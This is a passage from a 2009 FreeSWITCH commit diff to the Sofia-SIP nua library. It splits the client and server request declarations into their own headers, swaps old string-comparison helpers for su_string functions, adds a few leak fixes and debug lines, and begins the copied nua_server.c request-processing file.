-   * received from the network, e.g., when the request is restarted.
-   *
-   * @return The return value should be 0. It is currently ignored.
-   */
-  int (*crm_report)(nua_client_request_t *,
-		    int status, char const *phrase,
-		    sip_t const *sip,
-		    nta_outgoing_t *orq,
-		    tagi_t const *tags);
-
-  /** @a crm_complete is called when a client-side request is destroyed.
-   *
-   * @return The return value should be 0. It is currently ignored.
-   */
-  int (*crm_complete)(nua_client_request_t *);
-
-} nua_client_methods_t;
-
-/* Client-side request. Documented by nua_client_create() */
-struct nua_client_request
-{
-  nua_client_request_t *cr_next, **cr_prev; /**< Linked list of requests */
-  nua_owner_t        *cr_owner;
-  nua_dialog_usage_t *cr_usage;
-
-  nua_saved_signal_t cr_signal[1];
-  tagi_t const      *cr_tags;
-
-  nua_client_methods_t const *cr_methods;
-
-  msg_t              *cr_msg;
-  sip_t              *cr_sip;
-
-  nta_outgoing_t     *cr_orq;
-
-  su_timer_t         *cr_timer;	        /**< Expires or retry timer */
-
-  /*nua_event_t*/ int cr_event;		/**< Request event */
-  sip_method_t        cr_method;
-  char const         *cr_method_name;
-
-  url_t              *cr_target;
-
-  char const         *cr_phrase;        /**< Latest status phrase */
-  unsigned short      cr_status;        /**< Latest status */
-  unsigned short      cr_retry_count;   /**< Retry count for this request */
-
-  uint32_t            cr_seq;
-
-  unsigned            cr_refs;	 /**< References to client request */
-
-  /* Flags used with offer-answer */
-  unsigned short      cr_answer_recv;   /**< Recv answer in response
-					 *  with this status.
-					 */
-  unsigned cr_offer_sent:1;	/**< Sent offer in this request */
-
-  unsigned cr_offer_recv:1;	/**< Recv offer in a response */
-  unsigned cr_answer_sent:1;	/**< Sent answer in (PR)ACK */
-
-  /* Flags with usage */
-  unsigned cr_neutral:1;	/**< No effect on session or other usage */
-
-  /* Lifelong flags? */
-  unsigned cr_auto:1;		/**< Request was generated by stack */
-  unsigned cr_has_contact:1;	/**< Request has user Contact */
-  unsigned cr_contactize:1;	/**< Request needs Contact */
-  unsigned cr_dialog:1;		/**< Request can initiate dialog */
-
-  /* Current state */
-  unsigned cr_acked:1;		/**< Final response to the request has been ACKed */
-  unsigned cr_waiting:1;	/**< Request is waiting */
-  unsigned cr_challenged:1;	/**< Request was challenged */
-  unsigned cr_wait_for_cred:1;	/**< Request is pending authentication */
-  unsigned cr_restarting:1;	/**< Request is being restarted */
-  unsigned cr_reporting:1;	/**< Reporting in progress */
-  unsigned cr_terminating:1;	/**< Request terminates the usage */
-  signed int cr_terminated:2;	/**< Response terminated usage (1) or
-				    whole dialog (-1) */
-  unsigned cr_graceful:1;	/**< Graceful termination required */
-};
-
-
 struct nua_dialog_state
 {
   /** Dialog owner */
@@ -411,7 +140,7 @@
 };
 
 void nua_dialog_uac_route(nua_owner_t *, nua_dialog_state_t *ds,
-			  sip_t const *sip, int rtag);
+			  sip_t const *sip, int rtag, int initial);
 void nua_dialog_uas_route(nua_owner_t *, nua_dialog_state_t *ds,
 			  sip_t const *sip, int rtag);
 void nua_dialog_store_peer_info(nua_owner_t *, nua_dialog_state_t *ds,
@@ -507,198 +236,7 @@
 #define NUA_DIALOG_USAGE_PRIVATE(du) ((void *)((du) + 1))
 #define NUA_DIALOG_USAGE_PUBLIC(pu) ((void *)((nua_dialog_usage_t *)(pu) - 1))
 
-/* ---------------------------------------------------------------------- */
+#include "nua_client.h"
+#include "nua_server.h"
 
-int nua_client_create(nua_owner_t *owner,
-		      int event,
-		      nua_client_methods_t const *methods,
-		      tagi_t const *tags);
-
-int nua_client_tcreate(nua_owner_t *nh,
-		       int event,
-		       nua_client_methods_t const *methods,
-		       tag_type_t tag, tag_value_t value, ...);
-
-su_inline
-void *nua_private_client_request(nua_client_request_t const *cr)
-{
-  return (void *)(cr + 1);
-}
-
-nua_client_request_t *nua_client_request_ref(nua_client_request_t *);
-int nua_client_request_unref(nua_client_request_t *);
-
-#if HAVE_MEMLEAK_LOG
-
-#define nua_client_request_ref(cr) \
-  nua_client_request_ref_by((cr), __FILE__, __LINE__, __func__)
-#define nua_client_request_unref(cr) \
-  nua_client_request_unref_by((cr), __FILE__, __LINE__, __func__)
-
-nua_client_request_t *nua_client_request_ref_by(nua_client_request_t *,
-						char const *file, unsigned line,
-						char const *who);
-int nua_client_request_unref_by(nua_client_request_t *,
-				char const *file, unsigned line, char const *who);
-
-#endif
-
-int nua_client_request_queue(nua_client_request_t *cr);
-
-su_inline int nua_client_is_queued(nua_client_request_t const *cr)
-{
-  return cr && cr->cr_prev;
-}
-
-int nua_client_request_remove(nua_client_request_t *cr);
-int nua_client_request_clean(nua_client_request_t *cr);
-int nua_client_bind(nua_client_request_t *cr, nua_dialog_usage_t *du);
-
-su_inline int nua_client_is_bound(nua_client_request_t const *cr)
-{
-  return cr && cr->cr_usage && cr->cr_usage->du_cr == cr;
-}
-
-su_inline int nua_client_is_reporting(nua_client_request_t const *cr)
-{
-  return cr && cr->cr_reporting;
-}
-
-/** Mark client request as a terminating one */
-su_inline void nua_client_set_terminating(nua_client_request_t *cr, int value)
-{
-  cr->cr_terminating = value != 0;
-}
-
-int nua_client_init_request(nua_client_request_t *cr);
-
-msg_t *nua_client_request_template(nua_client_request_t *cr);
-
-int nua_client_restart_request(nua_client_request_t *cr,
-			       int terminating,
-			       tagi_t const *tags);
-
-int nua_client_resend_request(nua_client_request_t *cr,
-			      int terminating);
-
-int nua_base_client_request(nua_client_request_t *cr,
-			    msg_t *msg,
-			    sip_t *sip,
-			    tagi_t const *tags);
-
-int nua_base_client_trequest(nua_client_request_t *cr,
-			     msg_t *msg,
-			     sip_t *sip,
-			     tag_type_t tag, tag_value_t value, ...);
-
-extern nta_response_f nua_client_orq_response;
-
-int nua_client_return(nua_client_request_t *cr,
-		      int status,
-		      char const *phrase,
-		      msg_t *to_be_destroyed);
-
-int nua_client_response(nua_client_request_t *cr,
-			int status,
-			char const *phrase,
-			sip_t const *sip);
-
-int nua_client_check_restart(nua_client_request_t *cr,
-			     int status,
-			     char const *phrase,
-			     sip_t const *sip);
-
-int nua_base_client_check_restart(nua_client_request_t *cr,
-				  int status,
-				  char const *phrase,
-				  sip_t const *sip);
-
-int nua_client_restart(nua_client_request_t *cr,
-		       int status, char const *phrase);
-
-int nua_base_client_response(nua_client_request_t *cr,
-			     int status, char const *phrase,
-			     sip_t const *sip,
-			     tagi_t const *tags);
-
-int nua_base_client_tresponse(nua_client_request_t *cr,
-			      int status, char const *phrase,
-			      sip_t const *sip,
-			      tag_type_t tag, tag_value_t value, ...);
-
-int nua_client_set_target(nua_client_request_t *cr, url_t const *target);
-
-int nua_client_report(nua_client_request_t *cr,
-		      int status, char const *phrase,
-		      sip_t const *sip,
-		      nta_outgoing_t *orq,
-		      tagi_t const *tags);
-
-nua_client_request_t *nua_client_request_pending(nua_client_request_t const *);
-
-int nua_client_next_request(nua_client_request_t *cr, int invite);
-
-/* ---------------------------------------------------------------------- */
-
-extern nua_server_methods_t const
-  nua_extension_server_methods,
-  nua_invite_server_methods,	/**< INVITE */
-  nua_bye_server_methods,	/**< BYE */
-  nua_options_server_methods,	/**< OPTIONS */
-  nua_register_server_methods,	/**< REGISTER */
-  nua_info_server_methods,	/**< INFO */
-  nua_prack_server_methods,	/**< PRACK */
-  nua_update_server_methods,	/**< UPDATE */
-  nua_message_server_methods,	/**< MESSAGE */
-  nua_subscribe_server_methods, /**< SUBSCRIBE */
-  nua_notify_server_methods,	/**< NOTIFY */
-  nua_refer_server_methods,	/**< REFER */
-  nua_publish_server_methods;	/**< PUBLISH */
-
-/** Return true if we have not sent final response to request */
-su_inline
-int nua_server_request_is_pending(nua_server_request_t const *sr)
-{
-  return sr && sr->sr_response.msg;
-}
-
-su_inline
-int nua_server_request_status(nua_server_request_t const *sr)
-{
-  return sr ? nta_incoming_status(sr->sr_irq) : 500;
-}
-
-void nua_server_request_destroy(nua_server_request_t *sr);
-
-int nua_base_server_init(nua_server_request_t *sr);
-
-#define nua_base_server_init NULL
-
-int nua_base_server_preprocess(nua_server_request_t *sr);
-
-#define nua_base_server_preprocess NULL
-
-int nua_server_params(nua_server_request_t *sr, tagi_t const *tags);
-
-int nua_base_server_params(nua_server_request_t *sr, tagi_t const *tags);
-
-#define nua_base_server_params NULL
-
-int nua_server_trespond(nua_server_request_t *sr,
-			tag_type_t tag, tag_value_t value, ...);
-int nua_server_respond(nua_server_request_t *sr, tagi_t const *tags);
-
-int nua_base_server_trespond(nua_server_request_t *sr,
-			     tag_type_t tag, tag_value_t value, ...);
-int nua_base_server_respond(nua_server_request_t *sr,
-			    tagi_t const *tags);
-
-int nua_server_report(nua_server_request_t *sr);
-
-int nua_base_server_treport(nua_server_request_t *sr,
-			    tag_type_t tag, tag_value_t value, ...);
-int nua_base_server_report(nua_server_request_t *sr, tagi_t const *tags);
-
-/* ---------------------------------------------------------------------- */
-
 #endif /* NUA_DIALOG_H */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_event_server.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_event_server.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_event_server.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
@@ -144,9 +144,13 @@
   char const *ct_s = NULL;
 
   if (ev == NULL) {
-    char *o_type = su_strdup(home, event->o_type);
-    char *o_subtype = o_type ? strchr(o_type, '.') : NULL;
+    char *o_type, *o_subtype;
+    char *temp = NULL;
 
+    o_type = su_strdup(home, event->o_type);
+    if (o_type == NULL)
+      return NULL;
+    o_subtype = strchr(o_type, '.');
     if (o_subtype)
       *o_subtype++ = '\0';
 
@@ -162,7 +166,7 @@
      * types
      */
     if (accept_s == NULL && accept)
-      accept_s = sip_header_as_string(home, (sip_header_t *)accept);
+      accept_s = temp = sip_header_as_string(home, (sip_header_t *)accept);
     if (accept_s == NULL && ct)
       accept_s = ct->c_type;
     if (accept_s == NULL && ct_s)
@@ -173,6 +177,9 @@
 			  o_type, o_subtype,
 			  ct ? ct->c_type : ct_s,
 			  accept_s);
+
+    su_free(home, temp);
+    su_free(home, o_type);
   }
 
   return ev;
@@ -221,7 +228,7 @@
     }
 
     SU_DEBUG_7(("nua(%p): authorize_watcher: %s\n", (void *)nh, what));
-    nea_sub_auth(sn->sn_subscriber, substate,
+    nea_sub_auth(sn->sn_subscriber, (nea_state_t)substate,
 		 TAG_IF(substate == nua_substate_pending,
 			NEATAG_FAKE(1)),
 		 TAG_IF(substate == nua_substate_terminated,
@@ -258,7 +265,7 @@
 	  TAG_END());
 
   if (sub && state > 0) {
-    nea_sub_auth(sub, state, TAG_NEXT(tags));
+    nea_sub_auth(sub, (nea_state_t)state, TAG_NEXT(tags));
     nua_stack_event(nua, nh, NULL, e, SIP_200_OK, NULL);
   }
   else {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_extension.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_extension.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_extension.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_message.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_message.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_message.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_notifier.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_notifier.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_notifier.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,7 +42,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_extra.h>
 #include <sofia-sip/sip_status.h>
@@ -220,7 +220,7 @@
   char const *event = o ? o->o_type : NULL;
 
   if (sr->sr_initial || !nua_dialog_usage_get(ds, nua_notify_usage, o)) {
-    if (event && str0cmp(event, "refer") == 0)
+    if (su_strmatch(event, "refer"))
       /* refer event subscription should be initiated with REFER */
       return SR_STATUS1(sr, SIP_403_FORBIDDEN);
 
@@ -257,7 +257,7 @@
   }
   else {
     /* Refresh existing subscription */
-    if (str0cmp(event, "refer") == 0)
+    if (su_strmatch(event, "refer"))
       expires = NH_PGET(nh, refer_expires);
 
     SR_STATUS1(sr, SIP_200_OK);
@@ -360,9 +360,9 @@
 
     if (!nu->nu_tag)
       notify = 1;
-    else if (snim && !strcasecmp(snim->snim_tag, nu->nu_tag))
+    else if (snim && su_casematch(snim->snim_tag, nu->nu_tag))
       notify = 0;
-    else if (sbim && !strcasecmp(snim->snim_tag, nu->nu_tag))
+    else if (sbim && su_casematch(snim->snim_tag, nu->nu_tag))
       notify = 1, nu->nu_no_body = 1;
     else
 #endif
@@ -621,7 +621,7 @@
     if (cr->cr_usage->du_ready) {
       snim = sip_suppress_notify_if_match(sip);
 
-      if (snim && !strcasecmp(snim->snim_tag, nu->nu_tag)) {
+      if (snim && su_casematch(snim->snim_tag, nu->nu_tag)) {
 	if (nu->nu_requested > nu->nu_expires)
 	  nu->nu_expires = nu->nu_requested;
 	nu->nu_requested = 0;
@@ -630,7 +630,7 @@
     }
 
     sbim = sip_suppress_body_if_match(sip);
-    if (sbim && !strcasecmp(sbim->sbim_tag, nu->nu_tag))
+    if (sbim && su_casematch(sbim->sbim_tag, nu->nu_tag))
       nu->nu_no_body = 1;
   }
 #endif
@@ -672,7 +672,7 @@
 
   if (ss == NULL || nua_substate_make(ss->ss_substate) != nu->nu_substate) {
     if (nu->nu_substate == nua_substate_terminated)
-      expires = nu->nu_expires > now ? "noresource" : "timeout";
+      expires = nu->nu_expires > now ? "reason=noresource" : "reason=timeout";
 
     ss = sip_subscription_state_format(home, "%s;%s",
 				       nua_substate_name(nu->nu_substate),
@@ -764,7 +764,7 @@
 
   nua_stack_tevent(nh->nh_nua, nh,
 		   nta_outgoing_getresponse(orq),
-		   cr->cr_event,
+		   (enum nua_event_e)cr->cr_event,
 		   status, phrase,
 		   NUTAG_SUBSTATE(substate),
 		   SIPTAG_EVENT(du ? du->du_event : NULL),
@@ -832,10 +832,19 @@
   nu->nu_substate = nua_substate_terminated;
 
   if (cr) {
+    SU_DEBUG_5(("%s(%p, %p, %p): using existing cr=%p\n",
+		"nua_notify_usage_shutdown",
+		(void *)nh, (void *)ds, (void *)du, (void *)cr));
+
     if (nua_client_resend_request(cr, 1) >= 0)
       return 0;
   }
   else {
+    SU_DEBUG_5(("%s(%p, %p, %p): new NOTIFY cr for %s\n",
+		"nua_notify_usage_shutdown",
+		(void *)nh, (void *)ds, (void *)du,
+		du->du_event ? du->du_event->o_type : "<implicit>"));
+
     if (nua_client_tcreate(nh, nua_r_notify,
 			   &nua_notify_client_methods,
 			   SIPTAG_EVENT(du->du_event),
@@ -915,8 +924,8 @@
   if (sr->sr_status < 200 || nu == NULL) {
   }
   else if (sr->sr_status < 300 &&
-	   /* Application included Refer-Sub: false in response */
-	   (rs == NULL || str0casecmp("false", rs->rs_value))) {
+	   /* No subscription if Refer-Sub: false in response */
+	   (rs == NULL || !su_casematch(rs->rs_value, "false"))) {
     sr->sr_usage->du_ready = 1;
 
     nu->nu_expires = sip_now() + NH_PGET(nh, refer_expires);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_options.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_options.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_options.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,7 +41,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_params.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_params.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_params.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,7 +32,7 @@
 
 #include "config.h"
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_strlst.h>
 #include <sofia-sip/token64.h>
 #include <sofia-sip/su_tagarg.h>
@@ -54,10 +54,6 @@
 
 #include <assert.h>
 
-#if !HAVE_STRCASESTR
-char *strcasestr(char const *haystack, char const *needle);
-#endif
-
 /* ====================================================================== */
 /* Helper macros and functions for handling #nua_handle_preferences_t. */
 
@@ -113,7 +109,7 @@
   char const pn[] = " " PACKAGE_NAME "/";
   size_t pnlen = strlen(pn + 1);
 
-  return strncasecmp(s, pn + 1, pnlen) == 0 || strcasestr(s, pn);
+  return su_casenmatch(s, pn + 1, pnlen) || su_strcasestr(s, pn);
 }
 
 /* ====================================================================== */
@@ -766,7 +762,7 @@
       else if (refresher <= nua_no_refresher)
 	refresher = nua_no_refresher;
 
-      NHP_SET(nhp, refresher, refresher);
+      NHP_SET(nhp, refresher, (enum nua_session_refresher)refresher);
     }
     /* NUTAG_UPDATE_REFRESH(update_refresh) */
     else if (tag == nutag_update_refresh) {
@@ -964,7 +960,7 @@
     /* NUTAG_REGISTRAR(registrar) */
     else if (tag == nutag_registrar) {
       NHP_SET_STR_BY_URL(nhp, char, registrar, value);
-      if (NHP_ISSET(nhp, registrar) && !str0cmp(nhp->nhp_registrar, "*"))
+      if (NHP_ISSET(nhp, registrar) && su_strmatch(nhp->nhp_registrar, "*"))
 	NHP_SET_STR(nhp, registrar, 0);
     }
     /* NUTAG_INSTANCE(instance) */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_params.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_params.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_params.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,6 +37,10 @@
 
 #include <nua_types.h>
 
+#ifndef NUA_TAG_H
+#include <sofia-sip/nua_tag.h>
+#endif
+
 /**@internal @brief NUA preferences.
  *
  * This structure contains values for various preferences and a separate

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_publish.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_publish.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_publish.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,7 +41,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_register.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_register.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_register.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #define TP_CLIENT_T          struct register_usage
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_strlst.h>
 #include <sofia-sip/su_uniqueid.h>
 #include <sofia-sip/su_tagarg.h>
@@ -1163,13 +1163,13 @@
 
   if (contact1 &&
       (url_is_string(contact1)
-       ? strncasecmp(contact1->us_str, "sips:", 5) == 0
+       ? su_casenmatch(contact1->us_str, "sips:", 5)
        : contact1->us_url->url_type == url_sips))
     name1 = "sips";
 
   if (contact2 &&
       (url_is_string(contact2)
-       ? strncasecmp(contact2->us_str, "sips:", 5) == 0
+       ? su_casenmatch(contact2->us_str, "sips:", 5)
        : contact2->us_url->url_type == url_sips))
     name2 = "sips";
 
@@ -1232,8 +1232,10 @@
 void nua_network_changed_cb(nua_t *nua, su_root_t *root)
 {
 
-  uint32_t nw_updates = NUA_NW_DETECT_TRY_FULL;
+  uint32_t nw_updates;
 
+  nw_updates = nua->nua_prefs->ngp_detect_network_updates;
+
   switch (nw_updates) {
   case NUA_NW_DETECT_ONLY_INFO:
     nua_stack_event(nua, NULL, NULL, nua_i_network_changed, SIP_200_OK, NULL);
@@ -1267,7 +1269,7 @@
   su_network_changed_t *snc = NULL;
 
   snc = su_root_add_network_changed(nua->nua_home,
-				    nua->nua_api_root,
+				    nua->nua_root,
 				    nua_network_changed_cb,
 				    nua);
 
@@ -1379,11 +1381,11 @@
     if (protocol) {
       /* Try to pair vias if we have both udp and tcp */
       for (prev = vv; *prev; prev = &(*prev)->v_next) {
-        if (strcasecmp(protocol, (*prev)->v_protocol))
+        if (!su_casematch(protocol, (*prev)->v_protocol))
           continue;
-        if (strcasecmp(v->v_host, (*prev)->v_host))
+        if (!su_casematch(v->v_host, (*prev)->v_host))
           continue;
-        if (str0cmp(v->v_port, (*prev)->v_port))
+        if (!su_strmatch(v->v_port, (*prev)->v_port))
           continue;
         break;
       }
@@ -2023,7 +2025,7 @@
   }
 
   if (transport) {
-    if (strncasecmp(transport, "SIP/2.0/", 8) == 0)
+    if (su_casenmatch(transport, "SIP/2.0/", 8))
       transport += 8;
 
     /* Make transport parameter lowercase */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_registrar.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_registrar.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_registrar.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
 #include <sofia-sip/sip_util.h>

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_server.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,732 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2006 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE nua_server.c
+ * @brief Server transaction handling
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @date Created: Tue Feb  3 16:10:45 EET 2009
+ */
+
+#include "config.h"
+
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <limits.h>
+
+#include <assert.h>
+
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/su_tagarg.h>
+
+#include <sofia-sip/sip_protos.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/sip_util.h>
+
+#define NUA_SAVED_EVENT_T su_msg_t *
+#define NUA_SAVED_SIGNAL_T su_msg_t *
+
+#include <sofia-sip/su_wait.h>
+
+#include "nua_stack.h"
+#include "nua_dialog.h"
+#include "nua_server.h"
+#include "nua_params.h"
+
+/* ======================================================================== */
+/*
+ * Process incoming requests
+ */
+
+nua_server_methods_t const *nua_server_methods[] = {
+  /* These must be in same order as in sip_method_t */
+  &nua_extension_server_methods,
+  &nua_invite_server_methods,	/**< INVITE */
+  NULL,				/**< ACK */
+  NULL,				/**< CANCEL */
+  &nua_bye_server_methods,	/**< BYE */
+  &nua_options_server_methods,	/**< OPTIONS */
+  &nua_register_server_methods,	/**< REGISTER */
+  &nua_info_server_methods,	/**< INFO */
+  &nua_prack_server_methods,	/**< PRACK */
+  &nua_update_server_methods,	/**< UPDATE */
+  &nua_message_server_methods,	/**< MESSAGE */
+  &nua_subscribe_server_methods,/**< SUBSCRIBE */
+  &nua_notify_server_methods,	/**< NOTIFY */
+  &nua_refer_server_methods,	/**< REFER */
+  &nua_publish_server_methods,	/**< PUBLISH */
+  NULL
+};
+
+
+int nua_stack_process_request(nua_handle_t *nh,
+			      nta_leg_t *leg,
+			      nta_incoming_t *irq,
+			      sip_t const *sip)
+{
+  nua_t *nua = nh->nh_nua;
+  sip_method_t method = sip->sip_request->rq_method;
+  char const *name = sip->sip_request->rq_method_name;
+  nua_server_methods_t const *sm;
+  nua_server_request_t *sr, sr0[1];
+  int status, initial = 1;
+  int create_dialog;
+
+  char const *user_agent = NH_PGET(nh, user_agent);
+  sip_supported_t const *supported = NH_PGET(nh, supported);
+  sip_allow_t const *allow = NH_PGET(nh, allow);
+
+  enter;
+
+  nta_incoming_tag(irq, NULL);
+
+  if (method == sip_method_cancel)
+    return 481;
+
+  /* Hook to outbound */
+  if (method == sip_method_options) {
+    status = nua_registration_process_request(nua->nua_registrations,
+					      irq, sip);
+    if (status)
+      return status;
+  }
+
+  if (nta_check_method(irq, sip, allow,
+		       SIPTAG_SUPPORTED(supported),
+		       SIPTAG_USER_AGENT_STR(user_agent),
+		       TAG_END()))
+    return 405;
+
+  switch (sip->sip_request->rq_url->url_type) {
+  case url_sip:
+  case url_sips:
+  case url_im:
+  case url_pres:
+  case url_tel:
+    break;
+  default:
+    nta_incoming_treply(irq, status = SIP_416_UNSUPPORTED_URI,
+			SIPTAG_ALLOW(allow),
+			SIPTAG_SUPPORTED(supported),
+			SIPTAG_USER_AGENT_STR(user_agent),
+			TAG_END());
+    return status;
+  }
+
+  if (nta_check_required(irq, sip, supported,
+			 SIPTAG_ALLOW(allow),
+			 SIPTAG_USER_AGENT_STR(user_agent),
+			 TAG_END()))
+    return 420;
+
+  if (method > sip_method_unknown && method <= sip_method_publish)
+    sm = nua_server_methods[method];
+  else
+    sm = nua_server_methods[0];
+
+  initial = nh == nua->nua_dhandle;
+
+  if (sm == NULL) {
+    SU_DEBUG_1(("nua(%p): strange %s from <" URL_PRINT_FORMAT ">\n",
+		(void *)nh, sip->sip_request->rq_method_name,
+		URL_PRINT_ARGS(sip->sip_from->a_url)));
+  }
+  else if (initial && sm->sm_flags.in_dialog) {
+    /* These must be in-dialog */
+    sm = NULL;
+  }
+  else if (initial && sip->sip_to->a_tag) {
+    /* RFC 3261 section 12.2.2:
+
+       If the UAS wishes to reject the request because it does not wish to
+       recreate the dialog, it MUST respond to the request with a 481
+       (Call/Transaction Does Not Exist) status code and pass that to the
+       server transaction.
+    */
+    if (method == sip_method_info)
+      /* accept out-of-dialog info */; else
+    if (method != sip_method_message || !NH_PGET(nh, win_messenger_enable))
+      sm = NULL;
+  }
+
+  if (!sm) {
+    nta_incoming_treply(irq,
+			status = 481, "Call Does Not Exist",
+			SIPTAG_ALLOW(allow),
+			SIPTAG_SUPPORTED(supported),
+			SIPTAG_USER_AGENT_STR(user_agent),
+			TAG_END());
+    return 481;
+  }
+
+  create_dialog = sm->sm_flags.create_dialog;
+  if (method == sip_method_message && NH_PGET(nh, win_messenger_enable))
+    create_dialog = 1;
+  sr = memset(sr0, 0, (sizeof sr0));
+
+  sr->sr_methods = sm;
+  sr->sr_method = method = sip->sip_request->rq_method;
+  sr->sr_add_contact = sm->sm_flags.add_contact;
+  sr->sr_target_refresh = sm->sm_flags.target_refresh;
+
+  sr->sr_owner = nh;
+  sr->sr_initial = initial;
+
+  sr->sr_irq = irq;
+
+  SR_STATUS1(sr, SIP_100_TRYING);
+
+  sr->sr_request.msg = nta_incoming_getrequest(irq);
+  sr->sr_request.sip = sip;
+  assert(sr->sr_request.msg);
+
